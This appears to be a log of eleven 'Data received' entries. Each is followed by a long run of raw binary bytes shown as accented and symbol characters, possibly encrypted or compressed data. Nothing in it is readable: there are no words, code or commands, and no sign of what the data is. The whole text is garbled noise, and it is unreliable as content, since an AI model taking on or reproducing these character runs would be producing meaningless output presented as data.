Data received	þ+Hô² Ã[@)Ë¯± i$ÙJÑ",L.Ê#×áébÍÙûÚ¹FI4®rxQ ³¡ÝÐr<qEK»¨ÿa÷J=D!2GOY£S}±³êàjÐÿ[¯J¤\|gö =KñX©¸ÕVÄGk?B¹\|;Î\|[¡éÂjEl#ÿ¯û6vó;¦ÈGf×Óü~/ Ñp÷ ÿÊÇÐ}óníñWp£>¿F"©Ñû0èâýÒÄÂª¨¬>ëÒö92mÐÂÒVÇ»"%_¯³:Øs8Åkÿc¹lÇ5yíL-8sA¥¥¾í%eÒÌ.¡ÂÏéa+w1©Kü ,ÒÉ³êùQa\|ªoSlÂ«[`ûÅ8uÒÏ«¦~$Îú¾'éDÍKÈÔî]xËÑ¢4hé Ë äp?`ß«²¸pyh)\°ã¯úþ2¾¹øIF$ßk(Xñ7A @êÈ51p.>g"qÅ¦lè±Í«ÉêdÂñ±jófªÞdhÌçrÙfÌT7rL¹D_æøÌoûA5Þ¥, ½¼¢Éxf¬ózcîÕÉMôÝ#Ôã6ú=tö=nOäÝ:ÚÕçÏ6íIYÌZ°_äò±_FÑÄ°§ª¾{?0qf=N°Qk¿ÚwäPý° Y¢¿À(]Z/âç÷àÕ~(>@Z>û{ ½iÆñÔ1>[W_<Q¯E ñSÁX¿ÿ¬ä3[6´¡Y¤½þR°'÷/N 9ù"9ô }ñ{-t$ =×ÝÀ$BB-y¨S¢åÌÏÊwQiöê½¿ ¸üíÃsÚÀ.TUoð¿ ½Pk«»ïÅ4p ó°%wDÚhl¤©o8\|y{ªI©eV)£6¤`Ð¿nuJ¸OÃ¤Ln]¶«ÖL^Sz !8± ï&R_®%ù:ã¤6\/ðçAqfTù¦¯É¯lcT/²^Fõ3#MMÌùiºj `J+-¦¼HøUJÜ\|Ñ>þ³Åf²?dìñnRÓÛ³ñz< fïyR{l®÷°WmeRs;NËó®5!Êr1oµÛëÔ2mñ£çN¥Üü¾-8æñIo!´b!:\=×° 8Þ³ëÿª.hR&5ðý÷ä°~ñ$\¿y°WÓjÖ¤àòVÊØc`` ôEm¦BQ, ¯Å^iúr-&År@ÖÚYáâ³tÖcM¿'Ó5eM¹ýÄEìÚbÇóË»`Ì½\ø(sòÅ£kÅ©ô6ìÃË\àP¶KÓ®cX[Ò"Ññ!¥ ¤mðÚÎÇ@¨J¯G ¸ßïE{`$Jya@8u÷½<Aã¸¢?ÌfÕBL+8HH£Mp ÚjjLªcUëÔ¼1ÿá²G9 Üìãàöëåäx§¼ÈõÃ· S×º¥~ (ë@Ñ}¹û\&òº¼ÚBÞÿR-õºÐ<~gß¢Ü¯Øm¤Y7SË)(ôÚ9 ?S5FV¨óí?ç§¿~ :Iùo Ýã´>]÷'õÝÛÞv1»W³Ý6¤kkãVSè Ç·©OLº<n·]ò#e£"rÈa± oÐèÂ.HÑÏÝ ¯dbGä Ç0å÷Æ(
Data received	ñÆÃ(ùëõÄ<¬Ið8+« Q@5ÎW1RÑÒà¨ù¾ö5 ¬¥Í´M=]Muú6uRèct»èJX\|ßÎ)ÁoüLÎÍ)µÕ¥Z%²Ý¸òÍUë4vXnýZüªè7X;B;ÚáObMÉ>îyÃ©xÕËû>R@±éIÌ «zM#H§qç/:¨O C"Ïx 'M"'g)<ÆIæ1'jÖêßç4[¶A´ÍÖÑÍéÃ Ü_;·e\|®¥lÒV¤ë.¼òûø>PhOKÆ£ÖI¥ªK'',ÙÛIP¯ZÃ.Ãa/.Vr¢èj§äÀùÑíçzõwç¡mÄXM6å<òeJ+ T½ÎÝÎ&Ä%7"Þm_¡é¢zá ¾iÄ+ÜW7Ví$ÊKöKJ«Ì'4¦É ÏÓí¼)¹'?J[sòþQX ö: ¥7ÿ1El'b§ÀQý¾@fÒÀóÍý}j ýQý/¢{¸ÓÃÜÊrSÔsèëX¸\©½ÈÃËM\|Nåö@ö?©P«5`ô=¹,x".FJ²%9ËöÆ²Ú,8-ÃDL\|ÎúÜqe}õ&ý¹ QÞdÝ3³pÑ®@$²ËÓÈ°îLKjJÖ¿á"ºû.>tõYè¢ß§ WãQî·JÞË¶ÅÁ¡u¢o@÷ÆÀÂRì¦tÅõst-¥2eõR-ã°[¦[-²ÑÜy¨£òN¤S(f\ Synèd0ÿñ4i`$üãSgÀ³lþôæ;ñoíg¨5ë:Bx6L¦[]]¹HÄt,FÄÝÂ\úSÎ¶z×eyé×xÞb£_kdë¢e%Z\?÷×è>ÕÈ$A9£¼÷Ù`t_â8èk<EÒëgQ2ÅÙ4\¼O¡l.¦á1Ó/.ÁÕÊpõlÊuÞäq«´ºP s}#÷0eG¨©»f´ÐàOÈ'bß$ÏIØ0<`ñUmPÚ±ÒA¥4¹¦ÔÜ/2(}}ÌÓ ²¶kES¤[Ç»stß8@¼ë@=MC¥Qåþ·Ny¡÷5DáS$þã3XÖõÕË ^;9W\ ]çiLbãXçåxÌ Ë%OTîºtW+h%ÌÕKÖè÷²Æú0<rÎb>/bÌW÷#ãméeÇÅCS{Ø½¸¸-Õ3@úþ}¯¹ ^LZÈ¤%¹(*.îI§6ÿËÿx×ùTÞz¡Õ×r ì9Éè»ÓØo5^µ¢9Á>&ÃM¿Pfü_p±eºÎ%~ÓºFkü¶Ãè¹7V{q$,À?Øã×'qp¢+ð+E þ¾ê«un7³ôÕÁð: ê=×j f4D·(`° ÄîÈÜoI²Yt"w¤±M8Ñ.°#)¯Õ}äÖoÍvxü·Lá7hPõØR÷T¡Y÷oYiaqoËÚ-£®d}Àkêõq:a¯2½ GRPîzÿô=dýq·HTOg!Ü'¹ÂZt>SNUXgë£³[¹;Ãyç§j#ò1v&c}«TÇ\©\|èsló!^_éÉ¥ ÆÚ0ADñc%2%gEF:
Data received	d/Ë´ÒI´ó#åst$VZLþÔke °,ÕªpÿvÛ±W¡bgI?!Ï?G;#ÝØ¬öÝ(²~MwBÏ,A:û<²Ô×KòYëÃð0õ=_®õ¦]oíùÙh6ü z2r¢ÞZV¹_ú?Å"qÝÒôØ®oò¡MÆW«7ìôØ4i\|BßIÒ'èëÍ{Í}3í{òÖÙ é¦ Ii^¸Ñu)#ø@´¹áPtú < 0ÀZcËäëèâÕ)ªiÃ+Í³b-,cuâÚ)VáI9;®¹å[\|m´{³_sºÚaó$û$yÍwÍÓÍ1×ÛãÑÙ±CÒ'@TÜÖ"çâ·¹õ'ñææØö9pO¦ØÚÍVIdÝ¼ÈØ_+PµaªÂw 'hØÀÃ¢M'Üe/wæGÃ¹×í¬Ä,Ùip#Î7bí°³ÂejÚo'NÂ-c%([iîî®AÆy@ct0/)Î´È ¨1Méh'G0±F S;ºtö@è ÙºÖuF·ÏpØ¹ª&_²´ÌrÑ`ãÔ´ÎíDt5SÂÂÈk ³àÜºÇáAR:³AðÎ·Ø¨Vrû³Ðk"u~¹AÎéÕu^_`×ðo:º÷h/ujÙ0YpsÑòú§ùVóä7ü LTý+J±öÎy(0"DøáßoC ¬ø¯¿ä7ÏNêÒT ª(~C®³ô×Ñ0ýå,§IØ:üºBaÐëÈjHÎvki[àÄ5¥»µs;ÂxÇ3kÚpK4ÃÂÁÂó\|Î§kY<9+ñû^Ë7vµ¹³nÔâÏvÛµP°½ã)Õ hâ´Òªs+Ä¥\ELtèØoi¬ ¶ë-ÚÈ4ï³Ä¢Hmû³Pxô[ý¶ÌÌ}Ö¼`ae.¬_`É[T9# ºë×ßVA¹z¥ÿù5ôf´ªä`w¼Åþ3¬Ã_ðBeu<xdJRK@ñ³ÉÔÍ´2ÂfÀåîfÁ½I(å©i^N< x0³[ÙºªWü~?ÿAÂWðyMäÚã®ÆiÖQ¢õ+Ö"'¾¯d}ÎArH¼qäå¡,IþoÄÑBÏeO©à~%Ì-×ÉÀ¢c²(R¥ÿ´[´K=¦fÃ,UI²#qjd8Ê ºÝê--%¤¬·2DV¼ù(^, Õ~aÎÈÅé 'r÷ 70H°ZM`¯0b æs%MG(bÖË?üYÔ³ÄÆub«½6Ïm XÙº5J>>Ä %ËlÈ¡j·P~v>ì\Ö,êY¿ú®Â@'?ZÀÜlfýc[=D´K&$Vô"%Ö\|¨),ÅÀ¿È·:c¬÷!n,8¹ÒyQW]µÐ®,XçìÜl#;5kÙúþdT sÐ?×º9fK/¨i¾ S)·<øQï÷¶vÂ¢2âPÃ¬ÂÛá\Æa ·Í÷WD´IÆW:(ûuSàøÞ ïsY0tD¿Z:+Qqí%Å"ef´äØÏòÝ x `õ}è!Bi½äß[ú»~0ÓJ¨úü¯º<ÍB<W5`
Data received	ªóÕE_ÕÅQ+ëC¬!EÉ8ìs½mI¬²M÷lyC^BGª¯'u8¤¿»®0«jJQ+G>"rEç [ãüÖpu0_d\|IP'¾UmÅÜÃÙujª]°´ïìQD7ëÏ;éh0¿ãqA7CV :¾¶áB7I?Ñr:ÁfLýE×ôõ1/6ªKZX#ßë]ó%×±üÿÃÝ<hë²)¦áZ5¡Áþ+"¥e^=>Õ>ëÚºh¾TAÕm$ç÷RO]¯éØß.+xDHQºQ:L,§»Ô´ó±zldÓ&Cl¨ü]vÙfI7¸\|P&GÀB¢Úú 0ÇÇ0¬eëlÑ©UÛ=XÃ%³üà&~Kjor%·Q¿¬ý&ÉýíÙ9#¦É^ëÈ$¥ ñPuÜÃH`P²Ö}m=õþÒØvh)¯^¤"fÍÎÏ¥íû@T%!Ü¢wÌd8¸ÓGg¯\|u8Å:äíoÕüý/)¹ÍiûøÙÄ!ìÔR%R,Íî¨vYC7µù ÿãv1âH¬-Oò1UNÌ½Á¥/ÎCYU(ZBîtª97ÍÌ¿À¶øµê>`#-xÏô ÁÊQ3jÛT16uT8wûèQTÀ ¬/8Ï5úU,+ ´ôº[²ê¥mÅ¢ë§úEüÜº¤Ö»âßÊâeNä÷~·à?ãy5L?ÃDqõÜ7¿?µ" ew5ÿíÔÆtE8^ðLSQP7gC Ã9Ö)®»hÞñ(9+ÊÂT¨äê3ê\,ïVu"÷PmÓJGZ{H(ÄsþËá]}Òrtì¦.È¡=q7G£9¶ù°GÊ]TwÓÙòa$úlm =òåòô+cÚÐÈWÐøs\ºçËÒTa¿¸^yïâtAX×ýßY#\|àx6B0¤ß×T(\a Ù)ÜÜ"`{x{âZ¬Lï@ íº\AÚ:ÀYéÀJ¼ÐM0Úø-D}¬0ß.ïÁ·?ÓÌÌ!<k[NKµXË:~J3ùr+þ6!´$«aØ~}6N°¢µäÉ\=1¼b¬y. l;:âS´×è?WÚsY an¦ÝÅËzÓx¸{³pz±x®KIÂ'dºvAlY8fk~½}kôbl~,meÃ½ß\ÞeeAÏT=FóÊßí:ÚÒÅ`8ÇÞJIX°©ê0¼%bü*ÛÆ¤~{íÈjfHÕXØ#vrHníI~Ci3dýùNÙh_ìtsÔ<òöüpÞîô0üú>&í-rvAÉ[ÑöóþÆ ü#Èæ ´ÓÇg_ä(«,VëÔÿÎs©J µü×:`ådâÁð"ò÷xp[3ýÆt{ñôR,Ým¹(B²,t}B³jå_KðIÖ«ÓEL¦SèÕ°Y³V¨þýäò¸e+»»æ¿X4û½SoþÇNÑZÑærm¿ã¤Wãß/ÛZùºÅúØ/4{äLÍõ¢(yÿ{J°öÿøg®Õ¢pr;/BJêWÍ"¹á´©¥>tNn¶X5ÁkÔ S^@!\|~èêÊHÝòëÂÆ·oàü©êøa×=óS±ý¥Î:(
Data received	Op#Ø(5áÍ°I û¸ïbf¼¥ûw)Îtø¸â ¶:É ¯À#úG¹fN7TSdéLØ¢\ nø~ºèJNe\|OÁ½Þt5(CãØÂ^{ÃçÂb4u³5 Ê£Ö]ÙV´KY.¾rT3æÐ³%ý9Ì´Zæî"/5oI¿§lËËñ+Êû6që¡õ9þ´-»ö.àßjÇ}§ò.GÁ7 Kw½Õ&K`3þYsX åsÁïâ$ÅN5»« 6 A{t¸çéd×ÊAæQ©ïzMð×6¤àõ`núÁ¡úëQmkÊe[`è3ª)ç¨ssR³ëuG5'I£û¹*Ï9ÿ;@üTße)bÅµ-FMº ¾Í.Z?Èçé¢à?ô7pY¹ÖîUïL®ªc´-ÌtR<lGë(`ìv±Ôsªv¢"¤&eÂÑKj©¥L@2¥a¥Ú<#<7`Xzt²náPHÎ³·.jW ËmÈf)¨+eö¨÷ÊNKi½¥É!õÁö«0¸§WÆÝí©¨ùçA~¥%ÿßíx`ãzcXä)mïÎ½UN^rÜG×½ëmaPò.¥eÑÏ75%H²ìþá2{bÜdâ;Gè<Á×Ãñö¶Ì:¹¨û"ÿWo{ßîï}uB´\ÆnOÔïì¿ý´I)WV±TÑé/pÃ9^³$f>AÛløcw¶dÐOÄ9iLzëmÓ"ÿRÌou þ~.(ðÛØRÍ\Ãre®¸ðªs¾üÍ¾·@O½q&:ùRô:lS¹}ZBiÒÀa©ROGâ÷¯×äy418j8[BÀ¸·µ(¿Î¡í·8[XêF®ùfÜn7)ÝHýl:L{üF!¾z¿Äè m´XðKUþ`Kv§í`94yRñáý·÷%·ûÜ3\r }"anVÒVzó(<½#y^éþñ1%þíäqL_ö#äru¨.ü{ÿ ¥TÃ3à÷ãDÍYlÔ¶B~z¡}]â±Å 9Dcªü½s¨Ô¡ùçL«>l<ø¸ü#7êCí¸:ðP3H÷0ºZ¶ß$0iG Ó]nJ9Ô©£*î ×ò'%sÜçØÌúkÛÖü.9Y> qdb¸g; $Â¦¥®iõl£¯£lr«/<u+8Úáò`&·ðÄÊ fî<³é/Èd<È<K Ï>wÈÉ{~2JÞ¿ºßl]½-ùÝ4O¯è8LÐýåè©SäÚ¥C{ß(Û«ÛÁYÖ;X ê¤·@5Üø£"ÆH[?0Y0KÀÍækÓ,÷ñæMB+í#{Ç¨Iâ^ôÕ2_J\|¤®êlÊ6Q`²c_éla·ëfg=¯"²@iS>È±Q!6?èk PI?Ô2»;N¬UaücºÆØ4ý¦¥AøeOú¿)=³£ÐFísPÖöVÏÉò]g& ×ô÷±ã¨=Hÿ ÏLà³&x, ë¡mo/.F¸+RKÚ@xA¶\|®\¡B³M MK¶Þº9Ø{vå¬¥vEáAoLsOdÜO
Data received	ò«t¸ï'÷X²¶>ï´e²JÌ{ZÉK~ÚÄSÇý=vt8°qZöTÂç,vÖu¨ð"b§çSzC/ þÅ@{¿Ñ²üGdÊÁP® Z+_ÕgÃÀ/Ñ0/Ú:yÀ¾íH@Îô¨[\|Fp1å¯ûò·UN3£U¬o:H)ÌEç\|ùv u³ÏAÎÁ1k,Ígü'Ä/]û\|e$"%Í]-ÙÂ?bþ ¡Úýûôégtc£ñhU°·:Ð÷lÛD3ÛÐì.1¿`~oüâä!»$ÿ^ÿIwãSe¢LÅõÆ#\|ðD·Ë6/¡¡ì_¹n/_è8a¤pS¦A@¿(Z@E(eÎ×ùÅ>°[8>Vë~¬'ÊÄ´]Û»ÿßeÂ¥Þ=DC\íg9ß £Ä2º+]lt¤£Ì¥(ßwïa·iþxÞ¹ ~%»«~_j¹åEiß4SÌ½=F°9\¬ ¡ùÎAnl´BØjKé{@±AâD¿2M(ZÇ¾m]U§sIÇzDþjèOo"xëcÿØ@5>}äüg·¢1a#¾Áô§Ãb_±í!ß²¿Tw?§Ý¼ÓcÊ!?!_Úó¨Üi(ÈÌ8vÚÒ,Ðw!¹çë}3]%µ0Ù³î=L©¾y._Öéd'ìÖæv)Ì²%`?ktà¢2ÝëKN§©ko²ÉAcqãùÈ£Ð`ã+{Æ2dGÖëëÅ°tôòõLAÙîsC:´A àcjWàÚpw{M¡È« ßÛÂbJcÇPaWä&8TrJßwúlËÆK¾2ê6¾ßßÄÛ{±sìf#K( BZèéN©ø÷þY%ÿ[éw®PEÎ\|aHÆ¾`31q÷Ç}Ä$õêa#T½¼ù(ó+.qå¯'> Ëô¬ÚÛ³ÛáîÁNVôõ+<YÃáÃ&·ûS»;çÞïçùÝ£xú6Kú7ÖÈ%d-2m\ söh©©bÀ¹(§ØþÏ5Ø<)YTõ×nSßj°vªé¯Û<e!)@ÝÉö«6ÌDò>NE´úáþ²Tÿ¢Ãa^Æm;åÌÁ´tHÙ¯uÒÊq¬á7ÀÇ¸Î2i;@ÿ9ºú´º !M(XxToÞè¯4oa/aë;HPXËJX&ÿ³E»·:"ô8°ªãÍ'Ò½u@lÃPkSozÙ!~üïÛb¤+ OHUâùv²Á»×{vGÐmd^@ïønæ\|ÇP, zM¦4dù0£ì5¯§Âä5°ÐeË¦æ Ø#<i½êïoYóRÐ4BXfJ¢ó¢W;fm¬8@°µ¿¦ÄLø> bÀepÞÉ¼RißÜÔKfE6¼½V³ñµÒ%tîº·~ ÄãfÍ8ãX¦ ¶bà¨[±´y§ä'ß^>¡¶3s#e½ÜÉÓgìÑ³¥.\Dyå[²Öh (iÔ[õ÷ÍìhøyvpÂÛÖ8þúí õ´c±[þk©^9ÏèÚ)ðã®ê Z9óf ¦5MïLc!Ó,ZBdÑUXy@óõÍã»~ö¦¢ûYº pÍ¥ßûgÿxAÐÎ{¥ÜKÛr7Õ\|§Ø¸¦QÜj¨,§ãÔ<+Qµ
Data received	¶î6EëwªÜÁ8@? ×.{ÕSLÞÀÎjSRâàDMÊÊ3×ZýÒy«~3+á$úÈR9¹dÊì±\éUvÝáa{ëB!&LZ© ³e©ÚWW³ÔMµw45¹=û¶kÈÍKß2s}ÃG¥Áà#v_}«5B·ûz g°Ýß«Ãlæ½#t»±7t^3dºèÓÎV(sønbRa§FNú¬mØ"´ã¦÷ínÜÆ/j~MñóG(ðM"rIùt/EµÉ¡W«@0tÃÛÄF±.É©ºp¶ÙwÄæÎ(a CéÊÕ2ÇR² ê6_A®£@¤ÃP"îd£`Ë7IÀBº0- 5QP8çr.s^ë-j©n6¶VB=. \KjgïÐ!kÊ]Èîì/áTVih-l²çI£ìøq¦dZ[sØx¿¸ãïn«/Ý×E¨Ð¦ùZNÇð_¥Ô+³-kMÇ5öáqËd¿ãª ~Ú'nAµÏÉ÷}hà.¾]Ò(SÀc¶0õíüá1·§ØÐz\|öÆ Ó50T÷4ø«k¶ÑÅÛCW'a¤:ìÈ¥¦ñ'°Cæõl(»èÔ'M_àvâñ0.A]äYëÄ¶Oû+ç¢ªlÀXìÇ³w`èqÈ¢`¾pÿb jör0¢Jù¤§ÍÙ\4ûwã½#<«¢¼;pô<L LÉMÖ91ËVÏcuÒ~§îÃemò½¤¬ÙYñ»pß)4üËØKÉ1ªa½¿«+@Õ~È)°uQnUNs»û©GL3èçS÷[W>ÚÖ ¾&/öï{Ý,B«\\Zyç/Ú+zíHCQ1#>;¹p¥öæhóáPNAaOÔú=ß 9uÒ[OM-Ú«ÈXÅA ³8Æ¹U¿ÑTÉ&ÒýHàÁÝjêç\Ð[QVqu>»`uÄ÷Cù©nLhk\|Ó+y%¾¯zéÛNH=Àá×É]À³Zä7ëÁíZ$'OWH^X%£'ÙW«?}Æú3\|9®ìù·rÅBÙðý³ÄY¿Îó·áv 2 ú»¿¸ù¸©!`¬\Eú[¶r&å»ÿ[[çzs$tÒ$Ýfi¥µÞôÌðÙH·ñ2ñêÅQrm¦JÎø MÁçÚmÆ¹ÂÈïâÑ,±1³Åù5ÆbÀL±DÇÄ/vC¿cZôPØ¬:A-.Ö3¢®6NôÆ^Oµ®¯÷ ¯ue{Ì{Þúó1Côlõs2?_F Â3[ IøâãT³Åã¡¿\Ö®.ºN-¥(ûOÏ[Ë¤ÏDlÉ½h 0Æ#Àxob[!õO wq±è>þMôX\q´7ªË8L«O;åÃ´F·^ú$ eï;ÎÈÿ¸ ý´gù©ÄA°+bñLMÚÉs^ÞWÊ(·Àó×ÃêÈ°0uN'ðtG¹9EæØeî½KÞ «×¡sP;Ùý¦"2t)¤uÇÌä©½HÃ!¨r÷?fkë©¯dªM·S+O5Îni]d&ÓÖl¤^Y¢¡]Ü
Data received	a¼ÒêåkqÉ®¯QÛó®£ÄdK(om'Q@Um$Ý:+9Ü¦¯$J£ÝqKûXé@ja:ËõÉÃ (t3trjHü®I5do£%ó2Ò½aF§Êe8µò]ØCëd?éDè_0È?ÜÌ;0Gàñÿ32LWÑ×]çÚ/ÝØ£ér/$±´`§íá&j1HôýÚëóá¬^ÔÕlEÊ9ÈÎk±ÞeøüÝíbßX¥K äÌ.FºnÜâd7ìèJ{ß¾ð@ÐB)Æ¼ O<¶4föh~ø\8ÂyTÍï¤^5sAòvybF¥1i¿+C?\|Y%ÜiÀc¶µÙû](G£^¿5ý>:Dûe8'ÏF5ÍÑOtí¦¨â×Q´ëÙÛ=³T°û)ºùñéºÐt(ÜÞ³=S£SR^Ø§ä8hè .gøzÊrÃJ>"ÝÍW¨ÅnIL°¡JÝuÓGåU¶u)´ãýù$HHÈ8Ç.zdkÍ& Þn4¼Öìd4j¥ø²Q0²bM=©nUÄ¿~zÆT']>ã¼lm$Äñ\|Â)½Ü¼øÊìCngNòÈuû,q h¹+®z^·};&¹ :BªÑäàõÕ$Î½S¡o¥Á©<ØW7èÕèuºð"ßåÊ¤ÀÚ#eàÃ9&&PçöñÝ{ôòºÆòÅÛltF¶yaä§Þß "X=wrpQädÑ¥üvÌþÒf£÷xýrX2@ßÓTb~ inô¬dSºv÷Tëu§óöT£ñË«¤\|ÍOYÝÊ°ÇÎõ7KåËÊ8)ãÌèWNaÁ'¡q'9m'¹{SÃïc¥ÛfSP[E.=uÒ&ø®I·¦Äàï£PÒ.Îîg§_%àeû{ DÜ$/ á×ëÉe©-Î;û°%P~Ìù÷«Î ÍDr-ù¹@Dº»X0Òó #¥Â`üûéÕt±×íDT6 qæ»X»ê¹²ôÀè/°~8¹cw yTpk,ëÂªE&olêM2l' baÑi#Jös?nLöóÇWd,Äée1ùçcvo^uÅÚ3O§môæZ\|îívDR$Ù ¹¯Ú':Üµ ÏF´äÐÇëÅ ¿ ïjtP´]ßtaR[ <^b¾"&>ÁÏæéÖ@i^a·Ô»Aî¨EK@ Ô·jyI¶\%.¡B{~F=\|Z£5D÷p}ëÏÙá9µØr¤~úZ=±Ó5£o^uôÞh#®?Xuûu!éµ]~·\|PëÕ>¢Á;ÚÚ's´ØçõkëhlE¶ ^,¬\µ²'½M1PÆêG¡"Îá¹iK¬íJtó«ytkÂÆß:ÕZ Ó<µÑ ìóFU©.c.îÑØ÷«»Ã[ÇW²½ÝtEfI+Ffºwe°2Rk5pbbRút~C>oÝ`ÒF!¡í:¸âªdø)6ÓÏuÏö©Ãñ8ÊJ5ê;Ì³äëÖ_4Ebh`©:#Gï²F¯7,±Ùâ"ïyF -£óä
Data received	¤BÐ;ø»¢ÔK8TE-î\|=É°_-f2" "ÂÁíÐ°[p@>#z¢V.6MKQ\Q£u:®=I$ãÔÞ/¹½éOYLW~¨ÍDHò°QïÅy\|Óé¥8¢Fï¥ã< ¥ pÍPù3¡Ápfá$®Éâa.ãá¸Tk¸v«<!ÿ/_xûF¿>ÇÞ^ÔÕ²$Rí©ÔßU bY'ÞìLê\|÷aÁc9ô¹<¿¡qxAz\Mö(¡4¸é¨R®Ôâ0?¼îì<"p\Ý6VÇ9¸¼ÂLäyºQ)ÿJXám9a®o ]/ü@w®b^ý0ÁZàÛÐz=ñîçD¹ «á3¨ßÎ¨Pdh¿À>(dxÅÑ19Ùý7·÷Ë´\|ñÈò%^£t²l«1)f?J!¤@[nëç¾2AvçÏ÷ø¿V>) ©þ.ír}»éZ \| ¦0yùÔ»¶³£§c8"eO³2/<Þ V`ävzòªLx?@L7M\Yí«ïÓÓÈâ7à¤ºúº$.Òc47µÙóÅ¥Q¦ÒvÁå®NÉ&¬¥¾ÞÂBPôb·ÃÈÝ¼©Ô#1$'ÄYé÷LU°:Ñó$=ÖÒà÷`UÞcÃûMquÓ49ÛG-»úr¯×û×õÖ_Íí[c±ùN¬Ü³^^,ª`Õ%¨2¡BðÁñd@%TwDbè×áº§ì'Åµ ½ø¯>JããÄ1h3b!R8OTîÄß (DNÊ¾l51ïÊÞ+AÐñQ`±Y°Ý/R¼9ñzÑûyfb_©õñ´Ç£.¥¦,@õ+Ý_+M³joå²ë¿ßMq·~jDà×¢¶Ê ÉNWÐ\=HÔ+`±)oógÆ½üE×V!H!Ý«·×jh\|RÔðz=}õÝ¹)ªù´ÎS¡ÛJ»ðÑv[ëlÙ2v½+¨]Þÿiª>²)ÏpqÒ³gÂ;!ùMø;tð [©ÇÛë'Î,ÌÕ©M®dþÙÆ#Ñ»}`ð§LÞ1º<ºxj'^±$P<BPöèÍ¸1D$!tÐ«Õo+bHkÂr=Ë^^å³iúÌ$EW)Nù8OÂ«Ùç=#õX-ôZ}GÒ³kÑª?ÔÉí£ãN<EÕþOgöÙ§Ç°{[ôwíÑÙ`(u^n³O E8á4dÃà«ýsAkÙípÇî¾}vPm§8¬ ®<qññÅ'/sS,ÿ0ícµDpC_¤Ú©mR'¿=óÐ#´³ÍSãÈ¦8l#ç¹e,ä(FÞ\ýzv(Lùú¶kKõ¨ô^ücíÓ\|Þ!~ÁÍà.sEpÑ SÀÂÃ4ñ9Ý¤ Vm(ßñnQ0;ý°èÿtyëªPïI³Ò=ä¥í§à]¥¹ÒmLL>v:rÓ\|¥"J¤2Û¬N_bcèÏ¤nP·iÔe¯®É¾'wË"¸.ÂTÜMïf#Næâ£ùýúãÖá6ÍV\|ÁF_( 9`*PÍ»<út¹¢\|?ØÛ³Ó¸MGM¤È}¤¢C
Data received	QÙEí®8°üãð¡ §¨<#áýÐ:º\|FÜ8º´ËwuÕ ÿ²3Úb¨$ñU+h'MÞ°¥î )[ÿ´>UßX]H9§§{Q§ýÉ»íLÓK¨%<t+'ã×´\|:¯n"A÷G\|A>¹äæF)XYþ§&¬Åø¼Cón¶DO% ý"Ã;«mXHÈddAàÞsläôDQ°"jL«¹Ä!ö½=@ øsfÌâúLñpGÀ¦®×¬©ÎA0È;m¸xÄÄQä©ÚÁNÂ}fÏ´È¾?Ör§¯?¼çH8ª»¬xtÍfÅg6bQf!ú¸Øúô/QöÙb¦¢á-Fj0ÔnþX¨©²³÷ìp9_íc}9ÑsØiã¼²* ãBÎ;û$½Fy+Jó=£ÀqÈÛûOÝ·Ò.¼þH©uoBªEÃN%ïqÎ VÀêå¢²ÎÀ¬pHÚTÂØtý9$1dâjå$OOlÃRÝ{&Ð0Vi¸ìãØ·²³S>päß dä«sßu§æÅÊÍkG-ÀþRAv:±±(¢ÌÞ¹JªáÁõDÆEÍÎöuàiÈõnëÓÓ»aîÉU%W«7y¡úWèÕiÍýPÇ-4æm>olüÃ?ÃÆfÝõ"©(TzXö!ùMÔN{ÈoBz»î^EExK,CÞü-AV$2;<Ä9BÑHºÄ§:6ÒìXs\!xÇìõñÌN(;x&Q¤uÒ\Ør 2ÄZ¯@¥ÒKnïcÔ¤9¢. )µP½ûØÿvÏ¬&qG]îü¶ÝÞ~IU\|~EiÝËÞg¦{p÷ýàÈIbYÖ¹'wÜòzöçãÀ'?löÃÅ;eAéEz#§ükñ\âwöhù,dÓ0tj(¼¡S%O»>µÙkim Vð+ÉuûËè}kó1ô#\´?vá ü:YØã»q1_>föiðïùëÌë~ÿ}ËÚµ`w/HdnÌÛÇ¬TMOä £îU};½'öFL4Ã«W*øJñ%OvC¼sGZzÅC}(¹ï¸qÈiÿß©4zCß¾î)NwQÏ¤ø¼.O>¨ð^1?Ü0ÃY[npÝàæÞÿkÝQç?¹ßøWnÆò¿/àK/£qµ®>¾5åzv¬±2fæm,kxÉUJòÕV;ç^hI+È®û¤IBL--¡u±K+:£^Ð»qQivUI »6VTk·Àr]c>êÚwÒ¬.çµrNI$-"nOõ4{Ï\|÷. v:ïþ0!(ÓõZçx`m ê\Ã Äí.{5Tfíµ#DM{ÂuðVÖi[±vV±pXrÎÀõ_$ÖÓ¾ôÚmêäÑ\|o{T.D£óÒìQ¹ZÉA&¯¼®à3îð-ÛIsÉ}{jëiWÇ\íîöt çQOÅõ\|¦¢õÛ÷ê¶¹Rø±ÈFA¥°B^?ë@¦¥O¹×©AÑìO¿Í\rÜæ-ôöóX ~Kù¢ HùYy§5ÐWGÒuFó¨GsyÍ"þJá¶À")ÇØ
Data received	×à§¯ø,¿ìl5à½bÙþÌS9ý#20ùP'eùäQÕ5E¦uÆ ìWÞs4¢?}4nµ^ ®3öMEÄíRèõsôn4{ÇúïÓ#óÐ¡\|#®S;PáâËg¢~×r5ä OP5×ôpæbPÂÄñØ¯ÈÝí¸iúz¶1¨¯ÑÔÿ=MµÒìjê(ý.âø&ævý5>ëvqÎ gn7à"ü#Øò;¾Òúõ°_Ä0!öØµi& )Ãë4ÇjÇiÕlK½É1öÑ¦'Ø3Ïd¯¿@N-ñ1'Yd[Üª!^ÍÛ!=N¡ù ,¯ Û¢+\öË4Ú\/ü ë±)÷µJö,&l;R»o´ËÅrð\Ä7ËÆ¢ óÃ±}WÀMÉ°²Èv1kM,eWI[ú£Jâd½öòKßú+Géo×ã(X.oÜÅòR kbJ /fÒEkL<zY¨SmØK»ÐînêNK2çíÃiäN<ZqÛ:j~Ñ'1îáâ¿BÔÖl¥û,\: t<º)D¿ Lï8Û·:ìÓ~ð+Â¾Xµ<¢è£»©(Ð3uïN Ç´UB§3Ò½ly'§BA[ªÆêÖ¬·x²>0¯¾ó](zå\|óE'?ác4ÊêEto4å¿f0;Y #%Éü0»À°¨íã@üãÄ:æcòW¡Ý©ê×9fg~ÍÐKZû¤¢â×xW0g$0Ê3H¿G/E ¯bæþ¾¼Ó¥àÐ¥²%¼ñüòætìû&NGCJÂ¡¬oð5É-@Å`Öµÿ7¦ì= 